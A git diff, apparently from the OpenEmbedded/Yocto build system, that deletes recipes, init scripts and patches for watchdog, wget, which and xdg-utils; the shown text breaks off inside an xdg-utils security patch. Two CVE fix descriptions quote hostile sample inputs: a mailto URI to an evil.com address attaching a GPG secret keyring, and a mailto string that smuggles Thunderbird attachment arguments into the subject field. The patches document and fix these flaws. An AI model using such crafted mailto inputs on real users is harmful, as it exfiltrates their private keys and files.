20# /etc/default/watchdog, do not edit this init script.
21
22# Set run_watchdog to 1 to start watchdog or 0 to disable it.
23run_watchdog=0
24
25# Specify additional watchdog options here (see manpage).
26watchdog_options=""
27
28# Specify module to load
29watchdog_module="none"
30
31[ -e /etc/default/watchdog ] && . /etc/default/watchdog
32
33NAME=watchdog
34DAEMON=/usr/sbin/watchdog
35
36STOP_RETRY_SCHEDULE='TERM/10/forever/KILL/1'
37
38. /etc/init.d/functions
39
40# Mock Debian stuff
41log_begin_msg() {
42 echo -n $*
43}
44
45log_end_msg() {
46 if [ "$1" = "0" ]; then
47 echo 'done'
48 else
49 echo 'error'
50 fi
51}
52
53log_daemon_msg() {
54 echo $*
55}
56
57log_progress_msg() {
58 echo $*
59}
60
61case "$1" in
62 start)
63 if [ $run_watchdog = 1 ]
64 then
65 # do we have to load a module?
66 [ "${watchdog_module:-none}" != "none" ] && /sbin/modprobe $watchdog_module
67
68 # Check /dev/watchdog here because if it does not exist after module loading,
69 # it makes no sense to start the daemon
70 test -e /dev/watchdog || { log_daemon_msg "daemon not start due to lack of /dev/watchdog"; exit 0; }
71
72 log_begin_msg "Starting watchdog daemon..."
73 start-stop-daemon --start --quiet --pidfile /var/run/$NAME.pid \
74 --exec $DAEMON -- $watchdog_options
75 log_end_msg $?
76 fi
77 ;;
78
79 stop)
80 if [ $run_watchdog = 1 ]
81 then
82 log_begin_msg "Stopping watchdog daemon..."
83 start-stop-daemon --stop --quiet --retry $STOP_RETRY_SCHEDULE \
84 --pidfile /var/run/$NAME.pid
85
86 fi
87 ;;
88
89 restart)
90 $0 force-reload
91 ;;
92
93 force-reload)
94 if [ $run_watchdog = 0 ]; then exit 0; fi
95 log_daemon_msg "Restarting $NAME"
96 $0 stop
97 $0 start
98 ;;
99
100 status)
101 status "$DAEMON"
102 ;;
103
104 *)
105 echo "Usage: /etc/init.d/watchdog {start|stop|restart|force-reload|status}"
106 exit 1
107
108esac
109
110exit 0
diff --git a/meta/recipes-extended/watchdog/watchdog/wd_keepalive.init b/meta/recipes-extended/watchdog/watchdog/wd_keepalive.init
deleted file mode 100644
index 1d3e4c5558..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/wd_keepalive.init
+++ /dev/null
@@ -1,121 +0,0 @@
1#!/bin/sh
2#/etc/init.d/wd_keepalive: start wd_keepalive daemon.
3
4### BEGIN INIT INFO
5# Provides: wd_keepalive
6# Short-Description: Start watchdog keepalive daemon
7# Required-Start: $remote_fs
8# Required-Stop: $remote_fs
9# X-Start-Before: $all
10# Default-Start: 2 3 4 5
11# Default-Stop
12### END INIT INFO
13
14PATH=/bin:/usr/bin:/sbin:/usr/sbin
15
16test -x /usr/sbin/wd_keepalive || exit 0
17
18# For configuration of the init script use the file
19# /etc/default/watchdog, do not edit this init script.
20
21# Set run_watchdog to 1 to start watchdog or 0 to disable it.
22run_watchdog=0
23
24# Specify additional watchdog options here (see manpage).
25watchdog_options=""
26
27# Specify module to load
28watchdog_module="none"
29
30[ -e /etc/default/watchdog ] && . /etc/default/watchdog
31
32NAME=wd_keepalive
33DAEMON=/usr/sbin/wd_keepalive
34
35STOP_RETRY_SCHEDULE='TERM/10/forever/KILL/1'
36
37# . /lib/lsb/init-functions
38
39# Mock Debian stuff
40log_begin_msg() {
41 echo -n $*
42}
43
44log_end_msg() {
45 if [ "$1" = "0" ]; then
46 echo 'done'
47 else
48 echo 'error'
49 fi
50}
51
52log_daemon_msg() {
53 echo $*
54}
55
56log_progress_msg() {
57 echo $*
58}
59
60
61case "$1" in
62 start)
63 if [ $run_watchdog = 1 ]
64 then
65 [ ${watchdog_module:-none} != "none" ] && /sbin/modprobe $watchdog_module
66 echo -n "Starting watchdog keepalive daemon: "
67 if start-stop-daemon --start --quiet \
68 --exec $DAEMON -- $watchdog_options
69 then
70 echo wd_keepalive.
71 else
72 echo
73 fi
74 fi
75 ;;
76
77 stop)
78 if [ $run_watchdog = 1 ]
79 then
80 echo -n "Stopping watchdog keepalive daemon: "
81 if start-stop-daemon --stop --quiet --pidfile /var/run/$NAME.pid \
82 $STOP_RETRY_SCHEDULE
83 then
84 echo wd_keepalive.
85 else
86 echo
87 fi
88 fi
89 ;;
90
91 status)
92 status_of_proc "$DAEMON" "$NAME" && exit 0 || exit $?
93 ;;
94
95 restart)
96 $0 force-reload
97 ;;
98
99 force-reload)
100 if [ $run_watchdog = 0 ]; then exit 0; fi
101 echo -n "Restarting $NAME daemon."
102 start-stop-daemon --stop --quiet --pidfile /var/run/$NAME.pid \
103 $STOP_RETRY_SCHEDULE
104 echo -n "."
105 if start-stop-daemon --start --quiet --pidfile /var/run/$NAME.pid \
106 --exec $DAEMON -- $watchdog_options
107 then
108 echo "done."
109 else
110 echo
111 fi
112 ;;
113
114 *)
115 echo "Usage: /etc/init.d/wd_keepalive {start|stop|status|restart|force-reload}"
116 exit 1
117
118esac
119
120exit 0
121
diff --git a/meta/recipes-extended/watchdog/watchdog_5.16.bb b/meta/recipes-extended/watchdog/watchdog_5.16.bb
deleted file mode 100644
index c166ace665..0000000000
--- a/meta/recipes-extended/watchdog/watchdog_5.16.bb
+++ /dev/null
@@ -1,72 +0,0 @@
1SUMMARY = "Software watchdog"
2DESCRIPTION = "Watchdog is a daemon that checks if your system is still \
3working. If programs in user space are not longer executed \
4it will reboot the system."
5HOMEPAGE = "http://watchdog.sourceforge.net/"
6BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
7
8LICENSE = "GPL-2.0-or-later"
9LIC_FILES_CHKSUM = "file://COPYING;md5=084236108b1d4a9851bf5213fea586fd"
10
11SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
12 file://0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch \
13 file://watchdog.init \
14 file://wd_keepalive.init \
15 file://0001-wd_keepalive.service-use-run-instead-of-var-run.patch \
16 file://0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch \
17"
18
19SRC_URI[sha256sum] = "b8e7c070e1b72aee2663bdc13b5cc39f76c9232669cfbb1ac0adc7275a3b019d"
20
21# Can be dropped when the output next changes, avoids failures after
22# reproducibility issues
23
24UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
25UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
26
27inherit autotools update-rc.d systemd pkgconfig
28
29EXTRA_OECONF += " --disable-nfs "
30CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail"
31
32INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
33
34INITSCRIPT_NAME:${PN} = "watchdog"
35INITSCRIPT_PARAMS:${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
36
37INITSCRIPT_NAME:${PN}-keepalive = "wd_keepalive"
38INITSCRIPT_PARAMS:${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
39
40SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive"
41SYSTEMD_SERVICE:${PN} = "watchdog.service"
42SYSTEMD_SERVICE:${PN}-keepalive = "wd_keepalive.service"
43# When using systemd, consider making use of internal watchdog support of systemd.
44# See RuntimeWatchdogSec in /etc/systemd/system.conf.
45SYSTEMD_AUTO_ENABLE = "disable"
46
47do_install:append() {
48 install -d ${D}${systemd_system_unitdir}
49 install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
50 install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
51
52 install -Dm 0755 ${UNPACKDIR}/watchdog.init ${D}/${sysconfdir}/init.d/watchdog
53 install -Dm 0755 ${UNPACKDIR}/wd_keepalive.init ${D}${sysconfdir}/init.d/wd_keepalive
54
55 # watchdog.conf is provided by the watchdog-config recipe
56 rm ${D}${sysconfdir}/watchdog.conf
57}
58
59PACKAGES =+ "${PN}-keepalive"
60
61FILES:${PN}-keepalive = " \
62 ${sysconfdir}/init.d/wd_keepalive \
63 ${systemd_system_unitdir}/wd_keepalive.service \
64 ${sbindir}/wd_keepalive \
65"
66
67RDEPENDS:${PN} += "${PN}-config"
68RRECOMMENDS:${PN} += "kernel-module-softdog"
69
70RDEPENDS:${PN}-keepalive += "${PN}-config"
71RCONFLICTS:${PN}-keepalive += "${PN}"
72RRECOMMENDS:${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/wget/wget.inc b/meta/recipes-extended/wget/wget.inc
deleted file mode 100644
index 13cf879067..0000000000
--- a/meta/recipes-extended/wget/wget.inc
+++ /dev/null
@@ -1,41 +0,0 @@
1SUMMARY = "Console URL download utility supporting HTTP, FTP, etc"
2DESCRIPTION = "Wget is a network utility to retrieve files from the web using \
3HTTP(S) and FTP, the two most widely used internet protocols. It works \
4non-interactively, so it will work in the background, after having logged off. \
5The program supports recursive retrieval of web-authoring pages as well as \
6FTP sites"
7HOMEPAGE = "https://www.gnu.org/software/wget/"
8SECTION = "console/network"
9LICENSE = "GPL-3.0-only"
10LIC_FILES_CHKSUM = "file://COPYING;md5=6f65012d1daf98cb09b386cfb68df26b"
11
12inherit autotools gettext texinfo update-alternatives pkgconfig
13
14DEPENDS += "autoconf-archive-native"
15
16EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \
17 --disable-rpath"
18
19EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \
20 DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"'
21
22ALTERNATIVE:${PN} = "wget"
23ALTERNATIVE:${PN}:class-nativesdk = ""
24ALTERNATIVE_PRIORITY = "100"
25
26RRECOMMENDS:${PN} += "ca-certificates"
27
28BBCLASSEXTEND = "nativesdk"
29
30PACKAGECONFIG ??= "gnutls pcre2 zlib \
31 ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
32PACKAGECONFIG[ares] = "--with-cares,--without-cares,c-ares"
33PACKAGECONFIG[gnutls] = "--with-ssl=gnutls,,gnutls"
34PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
35PACKAGECONFIG[iri] = "--enable-iri,--disable-iri,libidn2"
36PACKAGECONFIG[libpsl] = "--with-libpsl,--without-libpsl,libpsl"
37PACKAGECONFIG[libuuid] = "--with-libuuid,--without-libuuid,util-linux"
38PACKAGECONFIG[openssl] = "--with-ssl=openssl,,openssl"
39PACKAGECONFIG[pcre] = "--enable-pcre,--disable-pcre,libpcre"
40PACKAGECONFIG[pcre2] = "--enable-pcre2,--disable-pcre2,libpcre2"
41PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
diff --git a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
deleted file mode 100644
index 6ecb9ef289..0000000000
--- a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
+++ /dev/null
@@ -1,63 +0,0 @@
1From 304f55a3e2689154d829938d29e43d808ca6298a Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Wed, 10 Jan 2018 14:43:20 +0800
4Subject: [PATCH] src/Makefile.am: improve reproducibility
5
6Remove build host references from the internally
7generated file version.c. The references get compiled into
8executables, which leads to non-reproducible builds.
9The removed references (--sysroot, -fdebug-prefix-map) were
10only used as part of the `wget --version' which do not have
11side effect.
12
13...
14$ wget --version
15GNU Wget 1.14 built on linux-gnu.
16
17+digest +https +ipv6 +iri +large-file +nls +ntlm +opie +ssl/openssl
18
19Wgetrc:
20 /etc/wgetrc (system)
21Locale: /usr/share/locale
22Compile: gcc -DHAVE_CONFIG_H -DSYSTEM_WGETRC="/etc/wgetrc"
23 -DLOCALEDIR="/usr/share/locale" -I. -I../lib -I../lib -O2 -g -pipe
24 -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong
25 --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic
26Link: gcc -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions
27 -fstack-protector-strong --param=ssp-buffer-size=4
28 -grecord-gcc-switches -m64 -mtune=generic -lssl -lcrypto
29 /usr/lib64/libssl.so /usr/lib64/libcrypto.so /usr/lib64/libz.so
30 -ldl -lz -lz -lidn -luuid -lpcre ftp-opie.o openssl.o http-ntlm.o
31 ../lib/libgnu.a
32...
33
34Upstream-Status: Inappropriate [oe-core specific]
35
36Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
37
38sed use of DEBUG_PREFIX_MAP must treat whitespace the same as the
39echo command building version.c or the expression match will fail.
40
41Signed-off-by: Joe Slater <jslater@windriver.com>
42---
43 src/Makefile.am | 4 ++++
44 1 file changed, 4 insertions(+)
45
46diff --git a/src/Makefile.am b/src/Makefile.am
47index 86be533..721a401 100644
48--- a/src/Makefile.am
49+++ b/src/Makefile.am
50@@ -126,9 +126,13 @@ version.c: $(wget_SOURCES) ../lib/libgnu.a
51 echo '#include "version.h"' >> $@
52 echo 'const char *version_string = "@VERSION@";' >> $@
53 echo 'const char *compilation_string = "'$(COMPILE)'";' \
54+ | sed -e "s,$(TOOLCHAIN_OPTIONS),,g" \
55+ -e "s,$$(echo $(DEBUG_PREFIX_MAP)),,g" \
56 | $(ESCAPEQUOTE) >> $@
57 echo 'const char *link_string = "'$(CCLD) $(AM_CFLAGS) $(CFLAGS) \
58 $(AM_LDFLAGS) $(LDFLAGS) $(LIBS) $(wget_LDADD)'";' \
59+ | sed -e "s,$(TOOLCHAIN_OPTIONS),,g" \
60+ -e "s,$$(echo $(DEBUG_PREFIX_MAP)),,g" \
61 | $(ESCAPEQUOTE) >> $@
62
63 css.c: $(srcdir)/css.l
diff --git a/meta/recipes-extended/wget/wget_1.25.0.bb b/meta/recipes-extended/wget/wget_1.25.0.bb
deleted file mode 100644
index 93fefc9092..0000000000
--- a/meta/recipes-extended/wget/wget_1.25.0.bb
+++ /dev/null
@@ -1,7 +0,0 @@
1SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
2 file://0002-improve-reproducibility.patch \
3 "
4
5SRC_URI[sha256sum] = "766e48423e79359ea31e41db9e5c289675947a7fcf2efdcedb726ac9d0da3784"
6
7require wget.inc
diff --git a/meta/recipes-extended/which/which-2.23/0001-getopt-Fix-signature-of-getenv-function.patch b/meta/recipes-extended/which/which-2.23/0001-getopt-Fix-signature-of-getenv-function.patch
deleted file mode 100644
index c54368a084..0000000000
--- a/meta/recipes-extended/which/which-2.23/0001-getopt-Fix-signature-of-getenv-function.patch
+++ /dev/null
@@ -1,44 +0,0 @@
1From 83d2ed3fd203868a8f287d2ebedc7c304c74fbb4 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Sat, 22 Mar 2025 17:56:19 -0700
4Subject: [PATCH] getopt: Fix signature of getenv function
5
6This happens on musl systems using GCC 15
7
8../which-2.21/getopt.h:106:12: error: conflicting types for 'getopt'; have 'int(void)'
9 106 | extern int getopt ();
10 | ^~~~~~
11
12Upstream-Status: Submitted [https://lists.gnu.org/archive/html/which-bugs/2025-03/msg00000.html]
13Signed-off-by: Khem Raj <raj.khem@gmail.com>
14---
15 getopt.c | 2 +-
16 getopt.h | 2 +-
17 2 files changed, 2 insertions(+), 2 deletions(-)
18
19diff --git a/getopt.c b/getopt.c
20index 9ac2ed6..b1aa322 100644
21--- a/getopt.c
22+++ b/getopt.c
23@@ -205,7 +205,7 @@ static char *posixly_correct;
24 /* Avoid depending on library functions or files
25 whose names are inconsistent. */
26
27-char *getenv();
28+char *getenv (const char*);
29
30 static char *my_index(str, chr) const char *str;
31 int chr;
32diff --git a/getopt.h b/getopt.h
33index f080053..e04e3ca 100644
34--- a/getopt.h
35+++ b/getopt.h
36@@ -102,7 +102,7 @@ struct option {
37 errors, only prototype getopt for the GNU C library. */
38 extern int getopt(int argc, char *const *argv, const char *shortopts);
39 #else /* not __GNU_LIBRARY__ */
40-extern int getopt();
41+extern int getopt (int, char * const [], const char *);
42 #endif /* __GNU_LIBRARY__ */
43 extern int getopt_long(int argc, char *const *argv, const char *shortopts, const struct option *longopts, int *longind);
44 extern int getopt_long_only(int argc, char *const *argv, const char *shortopts, const struct option *longopts,
diff --git a/meta/recipes-extended/which/which-2.23/meson.build b/meta/recipes-extended/which/which-2.23/meson.build
deleted file mode 100644
index 045dfceb66..0000000000
--- a/meta/recipes-extended/which/which-2.23/meson.build
+++ /dev/null
@@ -1,92 +0,0 @@
1#
2# Copyright OpenEmbedded Contributors
3#
4# SPDX-License-Identifier: MIT
5#
6project('which', 'c', version: '2.23')
7
8add_project_arguments('-DHAVE_CONFIG_H', language : 'c')
9
10src = ['bash.c','getopt1.c','getopt.c','tilde.c','which.c']
11
12executable('which', src, install: true)
13install_man('which.1')
14
15conf_data = configuration_data()
16
17conf_data.set('GETGROUPS_T', 'gid_t')
18
19compiler = meson.get_compiler('c')
20if compiler.has_function('strchr')
21 conf_data.set('HAVE_STRCHR', 1)
22endif
23if compiler.has_function('memcpy')
24 conf_data.set('HAVE_MEMCPY', 1)
25endif
26if compiler.has_function('getopt_long')
27 conf_data.set('HAVE_GETOPT_LONG', 1)
28endif
29if compiler.has_function('getcwd')
30 conf_data.set('HAVE_GETCWD', 1)
31endif
32if compiler.has_function('getwd')
33 conf_data.set('HAVE_GETWD', 1)
34endif
35if compiler.has_function('sysconf')
36 conf_data.set('HAVE_SYSCONF', 1)
37endif
38if compiler.has_function('getgroups')
39 conf_data.set('HAVE_GETGROUPS', 1)
40endif
41if compiler.has_function('eaccess')
42 conf_data.set('HAVE_EACCESS', 1)
43endif
44if compiler.has_function('getpwent')
45 conf_data.set('HAVE_GETPWENT', 1)
46endif
47if compiler.has_function('getpwnam')
48 conf_data.set('HAVE_GETPWNAM', 1)
49endif
50if compiler.has_function('getpwuid')
51 conf_data.set('HAVE_GETPWUID', 1)
52 conf_data.set('HAVE_GETPW_DECLS', 1)
53endif
54
55if compiler.has_header('unistd.h')
56 conf_data.set('HAVE_UNISTD_H', 1)
57endif
58if compiler.has_header('string.h')
59 conf_data.set('HAVE_STRING_H', 1)
60endif
61if compiler.has_header('stdlib.h')
62 conf_data.set('HAVE_STDLIB_H', 1)
63endif
64if compiler.has_header('memory.h')
65 conf_data.set('HAVE_MEMORY_H', 1)
66endif
67if compiler.has_header('pwd.h')
68 conf_data.set('HAVE_PWD_H', 1)
69endif
70if compiler.has_header('strings.h')
71 conf_data.set('HAVE_STRINGS_H', 1)
72endif
73if compiler.has_header('inttypes.h')
74 conf_data.set('HAVE_INTTYPES_H', 1)
75endif
76if compiler.has_header('stdio.h')
77 conf_data.set('HAVE_STDIO_H', 1)
78endif
79if compiler.has_header('stdint.h')
80 conf_data.set('HAVE_STDINT_H', 1)
81endif
82if compiler.has_header('sys/stat.h')
83 conf_data.set('HAVE_SYS_STAT_H', 1)
84endif
85if compiler.has_header('sys/types.h')
86 conf_data.set('HAVE_SYS_TYPES_H', 1)
87endif
88conf_data.set('NEED_XMALLOC', 1)
89conf_data.set('STDC_HEADERS', 1)
90conf_data.set('VERSION', '"' + meson.project_version() + '"')
91
92configure_file(output: 'config.h', configuration: conf_data)
diff --git a/meta/recipes-extended/which/which_2.23.bb b/meta/recipes-extended/which/which_2.23.bb
deleted file mode 100644
index 0bbc3510d8..0000000000
--- a/meta/recipes-extended/which/which_2.23.bb
+++ /dev/null
@@ -1,32 +0,0 @@
1SUMMARY = "Displays the full path of shell commands"
2DESCRIPTION = "Which is a utility that prints out the full path of the \
3executables that bash(1) would execute when the passed \
4program names would have been entered on the shell prompt. \
5It does this by using the exact same algorithm as bash."
6SECTION = "libs"
7HOMEPAGE = "https://carlowood.github.io/which/"
8
9LICENSE = "GPL-3.0-or-later"
10LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
11 file://which.c;beginline=1;endline=17;md5=a9963693af2272e7a8df6f231164e7a2"
12
13inherit meson update-alternatives
14
15SRC_URI = "${GNU_MIRROR}/which/which-${PV}.tar.gz \
16 file://meson.build \
17 file://0001-getopt-Fix-signature-of-getenv-function.patch \
18 "
19
20SRC_URI[sha256sum] = "a2c558226fc4d9e4ce331bd2fd3c3f17f955115d2c00e447618a4ef9978a2a73"
21
22do_configure:prepend() {
23 cp ${UNPACKDIR}/meson.build ${S}
24}
25
26ALTERNATIVE:${PN} = "which"
27ALTERNATIVE_PRIORITY = "100"
28
29ALTERNATIVE:${PN}-doc = "which.1"
30ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
31
32BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/0001-Don-t-build-the-in-script-manual.patch b/meta/recipes-extended/xdg-utils/xdg-utils/0001-Don-t-build-the-in-script-manual.patch
deleted file mode 100644
index 14160bf8df..0000000000
--- a/meta/recipes-extended/xdg-utils/xdg-utils/0001-Don-t-build-the-in-script-manual.patch
+++ /dev/null
@@ -1,30 +0,0 @@
1From 33f42aa8d190b40be18cd0541b5881d46978b572 Mon Sep 17 00:00:00 2001
2From: Jussi Kukkonen <jussi.kukkonen@intel.com>
3Date: Thu, 17 Dec 2015 11:50:05 +0200
4Subject: [PATCH] Don't build the in-script manual
5
6Building the contents for "--manual" option requires a web browser
7or java (these are the two options for "xmlto txt" support).
8That's bonkers so don't do it: the man pages are still available
9and contain the same info.
10
11Upstream-Status: Inappropriate [disables in-script docs]
12Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
13---
14 scripts/Makefile.in | 2 +-
15 1 file changed, 1 insertion(+), 1 deletion(-)
16
17diff --git a/scripts/Makefile.in b/scripts/Makefile.in
18index 430032d..85359bc 100644
19--- a/scripts/Makefile.in
20+++ b/scripts/Makefile.in
21@@ -112,5 +112,5 @@ html/%.html: desc/%.xml
22 (cd html;$(XMLTO) html-nochunks ../$<)
23
24 %.txt: desc/%.xml
25- $(XMLTO) txt $<
26+ echo "Please see the man pages." > $@
27
28--
292.1.4
30
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/0001-Reinstate-xdg-terminal.patch b/meta/recipes-extended/xdg-utils/xdg-utils/0001-Reinstate-xdg-terminal.patch
deleted file mode 100644
index e9defadeaf..0000000000
--- a/meta/recipes-extended/xdg-utils/xdg-utils/0001-Reinstate-xdg-terminal.patch
+++ /dev/null
@@ -1,29 +0,0 @@
1From 37e227ae1766568d8de55e268bb69bc15eee3529 Mon Sep 17 00:00:00 2001
2From: Jussi Kukkonen <jussi.kukkonen@intel.com>
3Date: Thu, 26 Nov 2015 16:01:47 +0200
4Subject: [PATCH] Enable xdg-terminal
5
6Upstream-Status: Inappropriate [configuration]
7
8Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
9---
10 scripts/Makefile.in | 3 ++-
11 1 file changed, 2 insertions(+), 1 deletion(-)
12
13diff --git a/scripts/Makefile.in b/scripts/Makefile.in
14index d167393..430032d 100644
15--- a/scripts/Makefile.in
16+++ b/scripts/Makefile.in
17@@ -20,7 +20,8 @@ SCRIPTS = \
18 xdg-open \
19 xdg-email \
20 xdg-screensaver \
21- xdg-settings
22+ xdg-settings \
23+ xdg-terminal
24 # xdg-su
25 # xdg-copy \
26 # xdg-file-dialog
27--
282.1.4
29
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
deleted file mode 100644
index 948b9e22e9..0000000000
--- a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
+++ /dev/null
@@ -1,58 +0,0 @@
1From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
3Date: Tue, 18 Aug 2020 16:52:24 +0100
4Subject: [PATCH] xdg-email: remove attachment handling from mailto
5MIME-Version: 1.0
6Content-Type: text/plain; charset=UTF-8
7Content-Transfer-Encoding: 8bit
8
9This allows attacker to extract secrets from users:
10
11mailto:sid@evil.com?attach=/.gnupg/secring.gpg
12
13See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
14and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
15
16Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
17---
18 scripts/xdg-email.in | 7 +------
19 1 file changed, 1 insertion(+), 6 deletions(-)
20
21Upstream-Status: Backport
22CVE: CVE-2020-27748
23
24diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
25index 6db58ad..5d2f4f3 100644
26--- a/scripts/xdg-email.in
27+++ b/scripts/xdg-email.in
28@@ -32,7 +32,7 @@ _USAGE
29
30 run_thunderbird()
31 {
32- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
33+ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
34 THUNDERBIRD="$1"
35 MAILTO=$(echo "$2" | sed 's/^mailto://')
36 echo "$MAILTO" | grep -qs "^?"
37@@ -48,7 +48,6 @@ run_thunderbird()
38 BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
39 SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
40 BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
41- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
42
43 if [ -z "$TO" ] ; then
44 NEWMAILTO=
45@@ -68,10 +67,6 @@ run_thunderbird()
46 NEWMAILTO="${NEWMAILTO},$BODY"
47 fi
48
49- if [ -n "$ATTACH" ] ; then
50- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
51- fi
52-
53 NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
54 DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
55 "$THUNDERBIRD" -compose "$NEWMAILTO"
56--
57GitLab
58
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
deleted file mode 100644
index b236030108..0000000000
--- a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
+++ /dev/null
@@ -1,145 +0,0 @@
1xdg-email does not parse mailto uris properly for thunderbird
2
3When using thunderbird as mailto handler xdg-email translates mailto uris into an 'thunderbird -compose' argument. While to, cc and bcc values are properly enclosed in single quotes this is not the case for subject or body. This breaks functionality and allows to use all thunderbird -compose arguments within a mailto uri, e.g.
4
5xdg-email 'mailto:test@example.com?subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt'
6
7translates into
8
9thunderbird -compose to='test@example.com,',subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt
10
11with working attachment and message. (And, yes, ~ expands to the home directory.)
12
13Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/205]
14
15Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
16
17CVE: CVE-2022-4055
18
19
20Index: xdg-utils-1.1.3/scripts/xdg-email.in
21===================================================================
22--- xdg-utils-1.1.3.orig/scripts/xdg-email.in
23+++ xdg-utils-1.1.3/scripts/xdg-email.in
24@@ -30,53 +30,6 @@ _USAGE
25
26 #@xdg-utils-common@
27
28-run_thunderbird()
29-{
30- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
31- THUNDERBIRD="$1"
32- MAILTO=$(echo "$2" | sed 's/^mailto://')
33- echo "$MAILTO" | grep -qs "^?"
34- if [ "$?" = "0" ] ; then
35- MAILTO=$(echo "$MAILTO" | sed 's/^?//')
36- else
37- MAILTO=$(echo "$MAILTO" | sed 's/^/to=/' | sed 's/?/\&/')
38- fi
39-
40- MAILTO=$(echo "$MAILTO" | sed 's/&/\n/g')
41- TO=$(/bin/echo -e $(echo "$MAILTO" | grep '^to=' | sed 's/^to=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
42- CC=$(/bin/echo -e $(echo "$MAILTO" | grep '^cc=' | sed 's/^cc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
43- BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
44- SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
45- BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
46-
47- if [ -z "$TO" ] ; then
48- NEWMAILTO=
49- else
50- NEWMAILTO="to='$TO'"
51- fi
52- if [ -n "$CC" ] ; then
53- NEWMAILTO="${NEWMAILTO},cc='$CC'"
54- fi
55- if [ -n "$BCC" ] ; then
56- NEWMAILTO="${NEWMAILTO},bcc='$BCC'"
57- fi
58- if [ -n "$SUBJECT" ] ; then
59- NEWMAILTO="${NEWMAILTO},$SUBJECT"
60- fi
61- if [ -n "$BODY" ] ; then
62- NEWMAILTO="${NEWMAILTO},$BODY"
63- fi
64-
65- NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
66- DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
67- "$THUNDERBIRD" -compose "$NEWMAILTO"
68- if [ $? -eq 0 ]; then
